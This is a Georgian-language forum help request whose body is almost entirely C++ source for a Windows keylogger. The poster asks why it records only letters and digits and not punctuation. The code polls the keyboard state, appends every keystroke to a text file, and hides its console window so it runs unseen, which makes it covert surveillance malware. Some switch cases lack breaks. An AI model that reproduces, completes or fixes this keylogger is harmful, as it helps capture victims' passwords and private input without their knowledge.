KEYLOGGER დამეხმარეთ გთხოვთ ვინმე!!

KEYLOGGER დამეხმარეთ გთხოვთ ვინმე!!

კითხვა N999652 1 პასუხი მოკლედ ასეთი პრობლემა შემექმნა.. აღიქვამს მხოლოდ ასოებს და ციფრებს, სხვა ღილაკებს არა.. წერტილი ვერ გამოვიტანე... :( სრული კოდი ყოველი შემთხვევისთვის: #include <iostream> #include <windows.h> #include <Winuser.h> #include <fstream> using namespace std; void log(); void hide(); int main() { hide(); log(); return 0; } void log() { char key; for (;;) { for (key = 8; key <= 222; key++) { if (GetAsyncKeyState(key) == -32767) { ofstream write("Record.txt", ios::app); if ((key>64) && (key<91) && !(GetAsyncKeyState(0x10))) { key += 32; write << key; write.close(); break; } else if ((key>64) && (key<91)) { write << key; write.close(); break; } else { switch (key) { case 47: { if (GetAsyncKeyState(0x10)) write << "?"; else write << "/"; } case 48: { if (GetAsyncKeyState(0x10)) write << ")"; else write << "0"; } break; case 49: { if (GetAsyncKeyState(0x10)) write << "!"; else write << "1"; } break; case 50: { if (GetAsyncKeyState(0x10)) write << "@"; else write << "2"; } break; case 51: { if (GetAsyncKeyState(0x10)) write << "#"; else write << "3"; } break; case 52: { if (GetAsyncKeyState(0x10)) write << "$"; else write << "4"; } break; case 53: { if (GetAsyncKeyState(0x10)) write << "%"; else write << "5"; } break; case 54: { if (GetAsyncKeyState(0x10)) write << "^"; else write << "6"; } break; case 55: { if (GetAsyncKeyState(0x10)) write << "&"; else write << "7"; } break; case 56: { if (GetAsyncKeyState(0x10)) write << "*"; else write << "8"; } break; case 57: { if (GetAsyncKeyState(0x10)) write << "("; else write << "9"; } break; case VK_SUBTRACT: write << "/"; case VK_SPACE: write << " "; break; case VK_RETURN: write << "\n"; break; case VK_TAB: write << " "; break; case VK_BACK: write << "<BackSpace>"; break; case VK_ESCAPE: write << "<Esc>"; break; case VK_DELETE: write << "<Delete>"; break; } } } } } } void hide() { HWND stealth; AllocConsole(); stealth = FindWindowA("ConsoleWindowClass", NULL); ShowWindow(stealth, 0); }